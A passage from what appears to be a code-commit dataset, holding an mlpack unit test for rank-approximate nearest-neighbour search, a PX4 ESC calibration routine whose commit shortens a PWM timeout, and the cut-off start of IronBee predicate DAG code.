arma::Col<size_t> numSuccessRounds(queryData.n_cols);\n  numSuccessRounds.fill(0);\n\n  \/\/ 1% of 900 is 9, so the rank is expected to be less than 10\n  size_t expectedRankErrorUB = 10;\n\n  for (size_t rounds = 0; rounds < numRounds; rounds++)\n  {\n    rann_tsd->Search(1, neighbors, distances, 1.0, 0.95, false, false, 5);\n\n    for (size_t i = 0; i < queryData.n_cols; i++)\n      if (qrRanks(i, neighbors(0, i)) < expectedRankErrorUB)\n        numSuccessRounds[i]++;\n\n    neighbors.reset();\n    distances.reset();\n\n    rann_tsd->ResetQueryTree();\n  }\n\n  delete rann_tsd;\n\n  \/\/ Finding the 95%-tile threshold so that 95% of the queries should \n  \/\/ pass this threshold\n  size_t threshold = floor(numRounds * (0.95 - (1.96 * sqrt(0.95 * 0.05 \n                                                              \/ numRounds))));\n  size_t numQueriesFail = 0;\n  for (size_t i = 0; i < queryData.n_cols; i++)\n    if (numSuccessRounds[i] < threshold)\n      numQueriesFail++;\n\n  Log::Warn << \"RANN-TSD: RANN guarantee fails on \" << numQueriesFail << \n    \" queries.\" << endl;\n\n  \/\/ assert that at most 5% of the queries fall out of this threshold\n  \/\/ 5% of 100 queries is 5.\n  size_t maxNumQueriesFail = 6;\n\n  BOOST_REQUIRE(numQueriesFail < maxNumQueriesFail);\n  Log::Warn << \"RANN-TSD (dual tree) guarantees desired \" << \n    \"rank-approximation.\" << endl;\n}\n\nBOOST_AUTO_TEST_SUITE_END();\n<commit_msg>test data loading fixed<commit_after>\/**\n * @file allkrann_search_test.cpp\n *\n * Unit tests for the 'RASearch' class and consequently the \n * 'RASearchRules' class\n *\/\n#include <time.h>\n#include <mlpack\/core.hpp>\n#include <mlpack\/core\/metrics\/lmetric.hpp>\n\n\/\/ So that we can test private members.  This is hackish (for now).\n#define private public\n#include <mlpack\/methods\/rann\/ra_search.hpp>\n#undef private\n\n#include <boost\/test\/unit_test.hpp>\n#include \"old_boost_test_definitions.hpp\"\n\nusing namespace std;\nusing namespace mlpack;\nusing namespace mlpack::neighbor;\n\n\nBOOST_AUTO_TEST_SUITE(AllkRANNTest);\n\nBOOST_AUTO_TEST_CASE(AllkRANNNaiveSearch)\n{\n  \/\/ first testing on a small set.\n\n  arma::mat rdata(2, 10);\n  rdata << 3 << 2 << 4 << 3 << 5 << 6 << 0 << 8 << 3 << 1 << arma::endr << \n    0 << 3 << 4 << 7 << 8 << 4 << 1 << 0 << 4 << 3 << arma::endr;\n\n  arma::mat qdata(2, 3);\n  qdata << 3 << 2 << 0 << arma::endr << 5 << 3 << 4 << arma::endr;\n\n\n  metric::SquaredEuclideanDistance dMetric;\n  double rankApproximation = 30;\n  double successProb = 0.95;\n\n  \/\/ Search for 1 rank-approximate nearest-neighbors in the top 30% \n  \/\/ of the point (rank error of 3)\n  arma::Mat<size_t> neighbors;\n  arma::mat distances;\n\n\n  \/\/ Test naive rank-approximate search\n\n  \/\/ Predict what the actual RANN-RS result would be\n  math::RandomSeed(0);\n\n  size_t numSamples = (size_t) ceil( log (1.0 \/ (1.0 - successProb)) \n   \/ log (1.0 \/ (1.0 - (rankApproximation \/ 100.0) ) ) );\n\n  arma::Mat<size_t> samples(qdata.n_cols, numSamples);\n  for (size_t j = 0; j < qdata.n_cols; j++)\n    for (size_t i = 0; i < numSamples; i++)\n      samples(j, i) = (size_t) math::RandInt(10);\n\n  arma::Col<size_t> rann(qdata.n_cols);\n  arma::vec rann_distance(qdata.n_cols);\n  rann_distance.fill(DBL_MAX);\n\n  for (size_t j = 0; j < qdata.n_cols; j++)\n  {\n    for (size_t i = 0; i < numSamples; i++)\n    {\n      double dist = dMetric.Evaluate(qdata.unsafe_col(j), \n                                     rdata.unsafe_col(samples(j, i)));\n      if (dist < rann_distance[j])\n      {\n        rann[j] = samples(j, i);\n        rann_distance[j] = dist;\n      }\n    }\n  }\n\n  \/\/ use RANN-RS implementation\n  math::RandomSeed(0);\n\n  arma::mat naive_rdata = rdata;\n  arma::mat naive_qdata = qdata;\n\n  RASearch<> *naive = new RASearch<>(naive_rdata, naive_qdata, true);\n  naive->Search(1, neighbors, distances, rankApproximation);\n\n  delete naive;\n  naive_rdata.reset();\n  naive_qdata.reset();\n\n  \/\/ Things to check:\n  \/\/ \n  \/\/ 1. (implicitly) The minimum number of required samples for \n  \/\/    guaranteed approximation\n  \/\/ 2. (implicitly) Check the samples obtained.\n  \/\/ 3. Check the neighbor returned.\n\n  for (size_t i = 0; i < qdata.n_cols; i++)\n  {\n    BOOST_REQUIRE(neighbors(0, i) == rann[i]);\n    BOOST_REQUIRE_CLOSE(distances(0, i), rann_distance[i], 1e-5);\n  }\n\n  Log::Warn << \"RANN-RS (no tree) works as expected on small set.\" << endl;\n\n  neighbors.reset();\n  distances.reset();\n\n  \/\/ now test the correctness & guarantees of this algorithm\n  math::RandomSeed(time(NULL));\n    \n  arma::mat refData;\n  arma::mat queryData;\n\n  data::Load(\"rann_test_r_3_900.csv\", refData, true);\n  data::Load(\"rann_test_q_3_100.csv\", queryData, true);\n\n  RASearch<> *rann_rs = new RASearch<>(refData, queryData, true);\n\n  arma::mat qrRanks;\n  data::Load(\"rann_test_qr_ranks.csv\", qrRanks, true);\n  qrRanks = qrRanks.t();\n\n  size_t numRounds = 1000;\n  arma::Col<size_t> numSuccessRounds(queryData.n_cols);\n  numSuccessRounds.fill(0);\n\n  \/\/ 1% of 900 is 9, so the rank is expected to be less than 10\n  size_t expectedRankErrorUB = 10;\n\n  for (size_t rounds = 0; rounds < numRounds; rounds++)\n  {\n    rann_rs->Search(1, neighbors, distances, 1.0);\n\n    for (size_t i = 0; i < queryData.n_cols; i++)\n      if (qrRanks(i, neighbors(0, i)) < expectedRankErrorUB)\n        numSuccessRounds[i]++;\n\n    neighbors.reset();\n    distances.reset();\n  }\n\n  delete rann_rs;\n\n  \/\/ Finding the 95%-tile threshold so that 95% of the queries should \n  \/\/ pass this threshold\n  size_t threshold = floor(numRounds * (0.95 - (1.96 * sqrt(0.95 * 0.05 \n                                                            \/ numRounds))));\n  size_t numQueriesFail = 0;\n  for (size_t i = 0; i < queryData.n_cols; i++)\n    if (numSuccessRounds[i] < threshold)\n      numQueriesFail++;\n  \n  Log::Warn << \"RANN-RS: RANN guarantee fails on \" << numQueriesFail << \n    \" queries.\" << endl;\n\n  \/\/ assert that at most 5% of the queries fall out of this threshold\n  \/\/ 5% of 100 queries is 5.\n  size_t maxNumQueriesFail = 6;\n\n  BOOST_REQUIRE(numQueriesFail < maxNumQueriesFail);\n  Log::Warn << \"RANN-RS (no tree) guarantees desired rank-approximation.\" <<\n    endl;\n}\n\n\nBOOST_AUTO_TEST_CASE(AllkRANNSingleTreeSearch)\n{\n  \/\/ Test single-tree rank-approximate search (harder to test because of \n  \/\/ the randomness involved)\n\n  \/\/ Checking the correctness & guarantees of the algorithm\n  math::RandomSeed(time(NULL));\n\n  arma::mat refData;\n  arma::mat queryData;\n\n  data::Load(\"rann_test_r_3_900.csv\", refData, true);\n  data::Load(\"rann_test_q_3_100.csv\", queryData, true);\n\n  \/\/ Search for 1 rank-approximate nearest-neighbors in the top 30% \n  \/\/ of the point (rank error of 3)\n  arma::Mat<size_t> neighbors;\n  arma::mat distances;\n\n\n  RASearch<> *rann_tss = new RASearch<>(refData, queryData, false, true, 5);\n\n  \/\/ The relative ranks for the given query reference pair\n  arma::Mat<size_t> qrRanks;\n  data::Load(\"rann_test_qr_ranks.csv\", qrRanks, true);\n  qrRanks = qrRanks.t();\n\n  size_t numRounds = 1000;\n  arma::Col<size_t> numSuccessRounds(queryData.n_cols);\n  numSuccessRounds.fill(0);\n\n  \/\/ 1% of 900 is 9, so the rank is expected to be less than 10\n  size_t expectedRankErrorUB = 10;\n\n  for (size_t rounds = 0; rounds < numRounds; rounds++)\n  {\n    rann_tss->Search(1, neighbors, distances, 1.0, 0.95, false, false, 5);\n\n    for (size_t i = 0; i < queryData.n_cols; i++)\n      if (qrRanks(i, neighbors(0, i)) < expectedRankErrorUB)\n        numSuccessRounds[i]++;\n\n    neighbors.reset();\n    distances.reset();\n  }\n\n  delete rann_tss;\n\n  \/\/ Finding the 95%-tile threshold so that 95% of the queries should \n  \/\/ pass this threshold\n  size_t threshold = floor(numRounds * (0.95 - (1.96 * sqrt(0.95 * 0.05 \n                                                            \/ numRounds))));\n  size_t numQueriesFail = 0;\n  for (size_t i = 0; i < queryData.n_cols; i++)\n    if (numSuccessRounds[i] < threshold)\n      numQueriesFail++;\n\n  Log::Warn << \"RANN-TSS: RANN guarantee fails on \" << numQueriesFail << \n    \" queries.\" << endl;\n\n  \/\/ assert that at most 5% of the queries fall out of this threshold\n  \/\/ 5% of 100 queries is 5.\n  size_t maxNumQueriesFail = 6;\n\n  BOOST_REQUIRE(numQueriesFail < maxNumQueriesFail);\n  Log::Warn << \"RANN-TSS (single tree) guarantees desired \" << \n    \"rank-approximation.\" << endl;\n}\n\nBOOST_AUTO_TEST_CASE(AllkRANNDualTreeSearch)\n{\n  \/\/ Test dual-tree rank-approximate search (harder to test because of \n  \/\/ the randomness involved)\n  \/\/ Test dual-tree rank-approximate search\n\n  \/\/ Checking the correctness & guarantees of the algorithm\n  math::RandomSeed(time(NULL));\n\n  arma::mat refData;\n  arma::mat queryData;\n\n  data::Load(\"rann_test_r_3_900.csv\", refData, true);\n  data::Load(\"rann_test_q_3_100.csv\", queryData, true);\n\n  \/\/ Search for 1 rank-approximate nearest-neighbors in the top 30% \n  \/\/ of the point (rank error of 3)\n  arma::Mat<size_t> neighbors;\n  arma::mat distances;\n\n  RASearch<> *rann_tsd = new RASearch<>(refData, queryData, false, false, 5);\n\n  arma::Mat<size_t> qrRanks;\n  data::Load(\"rann_test_qr_ranks.csv\", qrRanks, true);\n  qrRanks = qrRanks.t();\n\n  size_t numRounds = 1000;\n  arma::Col<size_t> numSuccessRounds(queryData.n_cols);\n  numSuccessRounds.fill(0);\n\n  \/\/ 1% of 900 is 9, so the rank is expected to be less than 10\n  size_t expectedRankErrorUB = 10;\n\n  for (size_t rounds = 0; rounds < numRounds; rounds++)\n  {\n    rann_tsd->Search(1, neighbors, distances, 1.0, 0.95, false, false, 5);\n\n    for (size_t i = 0; i < queryData.n_cols; i++)\n      if (qrRanks(i, neighbors(0, i)) < expectedRankErrorUB)\n        numSuccessRounds[i]++;\n\n    neighbors.reset();\n    distances.reset();\n\n    rann_tsd->ResetQueryTree();\n  }\n\n  delete rann_tsd;\n\n  \/\/ Finding the 95%-tile threshold so that 95% of the queries should \n  \/\/ pass this threshold\n  size_t threshold = floor(numRounds * (0.95 - (1.96 * sqrt(0.95 * 0.05 \n                                                              \/ numRounds))));\n  size_t numQueriesFail = 0;\n  for (size_t i = 0; i < queryData.n_cols; i++)\n    if (numSuccessRounds[i] < threshold)\n      numQueriesFail++;\n\n  Log::Warn << \"RANN-TSD: RANN guarantee fails on \" << numQueriesFail << \n    \" queries.\" << endl;\n\n  \/\/ assert that at most 5% of the queries fall out of this threshold\n  \/\/ 5% of 100 queries is 5.\n  size_t maxNumQueriesFail = 6;\n\n  BOOST_REQUIRE(numQueriesFail < maxNumQueriesFail);\n  Log::Warn << \"RANN-TSD (dual tree) guarantees desired \" << \n    \"rank-approximation.\" << endl;\n}\n\nBOOST_AUTO_TEST_SUITE_END();\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************************\n *\n *   Copyright (c) 2015 PX4 Development Team. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n * 3. Neither the name PX4 nor the names of its contributors may be\n *    used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n ****************************************************************************\/\n\n\/**\n * @file esc_calibration.cpp\n *\n * Definition of esc calibration\n *\n * @author Roman Bapst <roman@px4.io>\n *\/\n\n#include \"esc_calibration.h\"\n#include \"calibration_messages.h\"\n#include \"calibration_routines.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdbool.h>\n#include <unistd.h>\n#include <sys\/ioctl.h>\n#include <systemlib\/err.h>\n#include <fcntl.h>\n#include <px4_posix.h>\n#include <px4_time.h>\n#include \"drivers\/drv_pwm_output.h\"\n#include <uORB\/topics\/battery_status.h>\n#include <uORB\/topics\/vehicle_command.h>\n#include <uORB\/uORB.h>\n#include <drivers\/drv_hrt.h>\n#include <systemlib\/mavlink_log.h>\n\n\/* oddly, ERROR is not defined for c++ *\/\n#ifdef ERROR\n# undef ERROR\n#endif\nstatic const int ERROR = -1;\n\nint check_if_batt_disconnected(orb_advert_t *mavlink_log_pub) {\n\tstruct battery_status_s battery;\n\tmemset(&battery,0,sizeof(battery));\n\tint batt_sub = orb_subscribe(ORB_ID(battery_status));\n\torb_copy(ORB_ID(battery_status), batt_sub, &battery);\n\n\tif (battery.voltage_filtered_v > 3.0f && !(hrt_absolute_time() - battery.timestamp > 500000)) {\n\t\tmavlink_log_info(mavlink_log_pub, \"Please disconnect battery and try again!\");\n\t\treturn ERROR;\n\t}\n\treturn OK;\n}\n\nint do_esc_calibration(orb_advert_t *mavlink_log_pub, struct actuator_armed_s* armed)\n{\n\tint\treturn_code = OK;\n\n\tint\tfd = -1;\n\n\tstruct\tbattery_status_s battery;\n\tint\tbatt_sub = -1;\n\tbool\tbatt_updated = false;\n\tbool\tbatt_connected = false;\n\n\thrt_abstime battery_connect_wait_timeout = 30000000;\n\thrt_abstime pwm_high_timeout = 4000000;\n\thrt_abstime timeout_start;\n\n\tcalibration_log_info(mavlink_log_pub, CAL_QGC_STARTED_MSG, \"esc\");\n\n\tbatt_sub = orb_subscribe(ORB_ID(battery_status));\n\tif (batt_sub < 0) {\n\t\tcalibration_log_critical(mavlink_log_pub, CAL_QGC_FAILED_MSG, \"Subscribe to battery\");\n\t\tgoto Error;\n\t}\n\n\t\/\/ Make sure battery is disconnected\n\torb_copy(ORB_ID(battery_status), batt_sub, &battery);\n\tif (battery.voltage_filtered_v > 3.0f) {\n\t\tcalibration_log_critical(mavlink_log_pub, CAL_QGC_FAILED_MSG, \"Disconnect battery and try again\");\n\t\tgoto Error;\n\t}\n\n\tarmed->in_esc_calibration_mode = true;\n\n\tfd = px4_open(PWM_OUTPUT0_DEVICE_PATH, 0);\n\n\tif (fd < 0) {\n\t\tcalibration_log_critical(mavlink_log_pub, CAL_QGC_FAILED_MSG, \"Can't open PWM device\");\n\t\tgoto Error;\n\t}\n\n\t\/* tell IO\/FMU that its ok to disable its safety with the switch *\/\n\tif (px4_ioctl(fd, PWM_SERVO_SET_ARM_OK, 0) != OK) {\n\t\tcalibration_log_critical(mavlink_log_pub, CAL_QGC_FAILED_MSG, \"Unable to disable safety switch\");\n\t\tgoto Error;\n\t}\n\n\t\/* tell IO\/FMU that the system is armed (it will output values if safety is off) *\/\n\tif (px4_ioctl(fd, PWM_SERVO_ARM, 0) != OK) {\n\t\tcalibration_log_critical(mavlink_log_pub, CAL_QGC_FAILED_MSG, \"Unable to arm system\");\n\t\tgoto Error;\n\t}\n\n\t\/* tell IO to switch off safety without using the safety switch *\/\n\tif (px4_ioctl(fd, PWM_SERVO_SET_FORCE_SAFETY_OFF, 0) != OK) {\n\t\tcalibration_log_critical(mavlink_log_pub, CAL_QGC_FAILED_MSG, \"Unable to force safety off\");\n\t\tgoto Error;\n\t}\n\n\tcalibration_log_info(mavlink_log_pub, \"[cal] Connect battery now\");\n\n\ttimeout_start = hrt_absolute_time();\n\n\twhile (true) {\n\t\t\/\/ We are either waiting for the user to connect the battery. Or we are waiting to let the PWM\n\t\t\/\/ sit high.\n\t\thrt_abstime timeout_wait = batt_connected ? pwm_high_timeout : battery_connect_wait_timeout;\n\n\t\tif (hrt_absolute_time() - timeout_start > timeout_wait) {\n\t\t\tif (!batt_connected) {\n\t\t\t\tcalibration_log_critical(mavlink_log_pub, CAL_QGC_FAILED_MSG, \"Timeout waiting for battery\");\n\t\t\t\tgoto Error;\n\t\t\t}\n\n\t\t\t\/\/ PWM was high long enough\n\t\t\tbreak;\n\t\t}\n\n\t\tif (!batt_connected) {\n\t\t\torb_check(batt_sub, &batt_updated);\n\t\t\tif (batt_updated) {\n\t\t\t\torb_copy(ORB_ID(battery_status), batt_sub, &battery);\n\t\t\t\tif (battery.voltage_filtered_v > 3.0f) {\n\t\t\t\t\t\/\/ Battery is connected, signal to user and start waiting again\n\t\t\t\t\tbatt_connected = true;\n\t\t\t\t\ttimeout_start = hrt_absolute_time();\n\t\t\t\t\tcalibration_log_info(mavlink_log_pub, \"[cal] Battery connected\");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tusleep(50000);\n\t}\n\nOut:\n\tif (batt_sub != -1) {\n\t\torb_unsubscribe(batt_sub);\n\t}\n\tif (fd != -1) {\n\t\tif (px4_ioctl(fd, PWM_SERVO_SET_FORCE_SAFETY_ON, 0) != OK) {\n\t\t\tcalibration_log_info(mavlink_log_pub, CAL_QGC_WARNING_MSG, \"Safety switch still off\");\n\t\t}\n\t\tif (px4_ioctl(fd, PWM_SERVO_DISARM, 0) != OK) {\n\t\t\tcalibration_log_info(mavlink_log_pub, CAL_QGC_WARNING_MSG, \"Servos still armed\");\n\t\t}\n\t\tif (px4_ioctl(fd, PWM_SERVO_CLEAR_ARM_OK, 0) != OK) {\n\t\t\tcalibration_log_info(mavlink_log_pub, CAL_QGC_WARNING_MSG, \"Safety switch still deactivated\");\n\t\t}\n\t\tpx4_close(fd);\n\t}\n\tarmed->in_esc_calibration_mode = false;\n\n\tif (return_code == OK) {\n\t\tcalibration_log_info(mavlink_log_pub, CAL_QGC_DONE_MSG, \"esc\");\n\t}\n\n\treturn return_code;\n\nError:\n\treturn_code = ERROR;\n\tgoto Out;\n}\n<commit_msg>Reduce esc calibration pwm timeout (#5011)<commit_after>\/****************************************************************************\n *\n *   Copyright (c) 2015 PX4 Development Team. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n * 3. Neither the name PX4 nor the names of its contributors may be\n *    used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n ****************************************************************************\/\n\n\/**\n * @file esc_calibration.cpp\n *\n * Definition of esc calibration\n *\n * @author Roman Bapst <roman@px4.io>\n *\/\n\n#include \"esc_calibration.h\"\n#include \"calibration_messages.h\"\n#include \"calibration_routines.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdbool.h>\n#include <unistd.h>\n#include <sys\/ioctl.h>\n#include <systemlib\/err.h>\n#include <fcntl.h>\n#include <px4_posix.h>\n#include <px4_time.h>\n#include \"drivers\/drv_pwm_output.h\"\n#include <uORB\/topics\/battery_status.h>\n#include <uORB\/topics\/vehicle_command.h>\n#include <uORB\/uORB.h>\n#include <drivers\/drv_hrt.h>\n#include <systemlib\/mavlink_log.h>\n\n\/* oddly, ERROR is not defined for c++ *\/\n#ifdef ERROR\n# undef ERROR\n#endif\nstatic const int ERROR = -1;\n\nint check_if_batt_disconnected(orb_advert_t *mavlink_log_pub) {\n\tstruct battery_status_s battery;\n\tmemset(&battery,0,sizeof(battery));\n\tint batt_sub = orb_subscribe(ORB_ID(battery_status));\n\torb_copy(ORB_ID(battery_status), batt_sub, &battery);\n\n\tif (battery.voltage_filtered_v > 3.0f && !(hrt_absolute_time() - battery.timestamp > 500000)) {\n\t\tmavlink_log_info(mavlink_log_pub, \"Please disconnect battery and try again!\");\n\t\treturn ERROR;\n\t}\n\treturn OK;\n}\n\nint do_esc_calibration(orb_advert_t *mavlink_log_pub, struct actuator_armed_s* armed)\n{\n\tint\treturn_code = OK;\n\n\tint\tfd = -1;\n\n\tstruct\tbattery_status_s battery;\n\tint\tbatt_sub = -1;\n\tbool\tbatt_updated = false;\n\tbool\tbatt_connected = false;\n\n\thrt_abstime battery_connect_wait_timeout = 30000000;\n\thrt_abstime pwm_high_timeout = 3000000;\n\thrt_abstime timeout_start;\n\n\tcalibration_log_info(mavlink_log_pub, CAL_QGC_STARTED_MSG, \"esc\");\n\n\tbatt_sub = orb_subscribe(ORB_ID(battery_status));\n\tif (batt_sub < 0) {\n\t\tcalibration_log_critical(mavlink_log_pub, CAL_QGC_FAILED_MSG, \"Subscribe to battery\");\n\t\tgoto Error;\n\t}\n\n\t\/\/ Make sure battery is disconnected\n\torb_copy(ORB_ID(battery_status), batt_sub, &battery);\n\tif (battery.voltage_filtered_v > 3.0f) {\n\t\tcalibration_log_critical(mavlink_log_pub, CAL_QGC_FAILED_MSG, \"Disconnect battery and try again\");\n\t\tgoto Error;\n\t}\n\n\tarmed->in_esc_calibration_mode = true;\n\n\tfd = px4_open(PWM_OUTPUT0_DEVICE_PATH, 0);\n\n\tif (fd < 0) {\n\t\tcalibration_log_critical(mavlink_log_pub, CAL_QGC_FAILED_MSG, \"Can't open PWM device\");\n\t\tgoto Error;\n\t}\n\n\t\/* tell IO\/FMU that its ok to disable its safety with the switch *\/\n\tif (px4_ioctl(fd, PWM_SERVO_SET_ARM_OK, 0) != OK) {\n\t\tcalibration_log_critical(mavlink_log_pub, CAL_QGC_FAILED_MSG, \"Unable to disable safety switch\");\n\t\tgoto Error;\n\t}\n\n\t\/* tell IO\/FMU that the system is armed (it will output values if safety is off) *\/\n\tif (px4_ioctl(fd, PWM_SERVO_ARM, 0) != OK) {\n\t\tcalibration_log_critical(mavlink_log_pub, CAL_QGC_FAILED_MSG, \"Unable to arm system\");\n\t\tgoto Error;\n\t}\n\n\t\/* tell IO to switch off safety without using the safety switch *\/\n\tif (px4_ioctl(fd, PWM_SERVO_SET_FORCE_SAFETY_OFF, 0) != OK) {\n\t\tcalibration_log_critical(mavlink_log_pub, CAL_QGC_FAILED_MSG, \"Unable to force safety off\");\n\t\tgoto Error;\n\t}\n\n\tcalibration_log_info(mavlink_log_pub, \"[cal] Connect battery now\");\n\n\ttimeout_start = hrt_absolute_time();\n\n\twhile (true) {\n\t\t\/\/ We are either waiting for the user to connect the battery. Or we are waiting to let the PWM\n\t\t\/\/ sit high.\n\t\thrt_abstime timeout_wait = batt_connected ? pwm_high_timeout : battery_connect_wait_timeout;\n\n\t\tif (hrt_absolute_time() - timeout_start > timeout_wait) {\n\t\t\tif (!batt_connected) {\n\t\t\t\tcalibration_log_critical(mavlink_log_pub, CAL_QGC_FAILED_MSG, \"Timeout waiting for battery\");\n\t\t\t\tgoto Error;\n\t\t\t}\n\n\t\t\t\/\/ PWM was high long enough\n\t\t\tbreak;\n\t\t}\n\n\t\tif (!batt_connected) {\n\t\t\torb_check(batt_sub, &batt_updated);\n\t\t\tif (batt_updated) {\n\t\t\t\torb_copy(ORB_ID(battery_status), batt_sub, &battery);\n\t\t\t\tif (battery.voltage_filtered_v > 3.0f) {\n\t\t\t\t\t\/\/ Battery is connected, signal to user and start waiting again\n\t\t\t\t\tbatt_connected = true;\n\t\t\t\t\ttimeout_start = hrt_absolute_time();\n\t\t\t\t\tcalibration_log_info(mavlink_log_pub, \"[cal] Battery connected\");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tusleep(50000);\n\t}\n\nOut:\n\tif (batt_sub != -1) {\n\t\torb_unsubscribe(batt_sub);\n\t}\n\tif (fd != -1) {\n\t\tif (px4_ioctl(fd, PWM_SERVO_SET_FORCE_SAFETY_ON, 0) != OK) {\n\t\t\tcalibration_log_info(mavlink_log_pub, CAL_QGC_WARNING_MSG, \"Safety switch still off\");\n\t\t}\n\t\tif (px4_ioctl(fd, PWM_SERVO_DISARM, 0) != OK) {\n\t\t\tcalibration_log_info(mavlink_log_pub, CAL_QGC_WARNING_MSG, \"Servos still armed\");\n\t\t}\n\t\tif (px4_ioctl(fd, PWM_SERVO_CLEAR_ARM_OK, 0) != OK) {\n\t\t\tcalibration_log_info(mavlink_log_pub, CAL_QGC_WARNING_MSG, \"Safety switch still deactivated\");\n\t\t}\n\t\tpx4_close(fd);\n\t}\n\tarmed->in_esc_calibration_mode = false;\n\n\tif (return_code == OK) {\n\t\tcalibration_log_info(mavlink_log_pub, CAL_QGC_DONE_MSG, \"esc\");\n\t}\n\n\treturn return_code;\n\nError:\n\treturn_code = ERROR;\n\tgoto Out;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*****************************************************************************\n * Licensed to Qualys, Inc. (QUALYS) under one or more\n * contributor license agreements.  See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * QUALYS licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License.  You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n ****************************************************************************\/\n\n\/**\n * @file\n * @brief Predicate --- DAG Implementation\n *\n * @author Christopher Alfeld <calfeld@qualys.com>\n *\/\n\n#include <predicate\/dag.hpp>\n#include <predicate\/merge_graph.hpp>\n#include <predicate\/reporter.hpp>\n\n#include <ironbeepp\/engine.hpp>\n\n#include <boost\/lexical_cast.hpp>\n\nusing namespace std;\n\nnamespace IronBee {\nnamespace Predicate {\n\nnamespace {\nstatic IronBee::ScopedMemoryPool c_static_pool;\nstatic const Value\n    c_empty_string(\n        IronBee::Field::create_byte_string(\n            c_static_pool,\n            \"\", 0,\n            IronBee::ByteString::create(c_static_pool)\n        )\n    );\n\n}\n\nclass Node::value_t\n{\npublic:\n    \/\/! Constructor.\n    value_t() :\n        m_forward(NULL),\n        m_pool(\"node value private pool\"),\n        m_finished(false),\n        m_own_values(ValueList::create(m_pool)),\n        m_values(m_own_values)\n    {\n        \/\/ nop\n    }\n\n    void forward(const value_t* to)\n    {\n        m_forward = to;\n    }\n\n    bool finished() const\n    {\n        return m_forward ? m_forward->finished() : m_finished;\n    }\n\n    bool forwarding() const\n    {\n        return m_forward;\n    }\n\n    ValueList values() const\n    {\n        return m_forward ? m_forward->values() : m_values;\n    }\n\n    void reset()\n    {\n        m_forward = NULL;\n        m_finished = false;\n        m_values = m_own_values;\n        m_values.clear();\n    }\n\n    void finish()\n    {\n        if (m_forward) {\n            BOOST_THROW_EXCEPTION(\n                einval() << errinfo_what(\n                    \"Can't finish a forwarded node.\"\n                )\n            );\n        }\n        m_finished = true;\n    }\n\n    void finish_alias(ValueList other)\n    {\n        if (forwarding()) {\n            BOOST_THROW_EXCEPTION(\n                einval() << errinfo_what(\n                    \"Can't alias a forwarded node.\"\n                )\n            );\n        }\n        if (finished()) {\n            BOOST_THROW_EXCEPTION(\n                einval() << errinfo_what(\n                    \"Can't alias a finished node.\"\n                )\n            );\n        }\n        if (m_values != m_own_values) {\n            BOOST_THROW_EXCEPTION(\n                einval() << errinfo_what(\n                    \"Can't alias an aliased node.\"\n                )\n            );\n        }\n        m_finished = true;\n        m_values = other;\n    }\n\nprivate:\n    const value_t* m_forward;\n    IronBee::ScopedMemoryPool m_pool;\n    bool m_finished;\n    ValueList 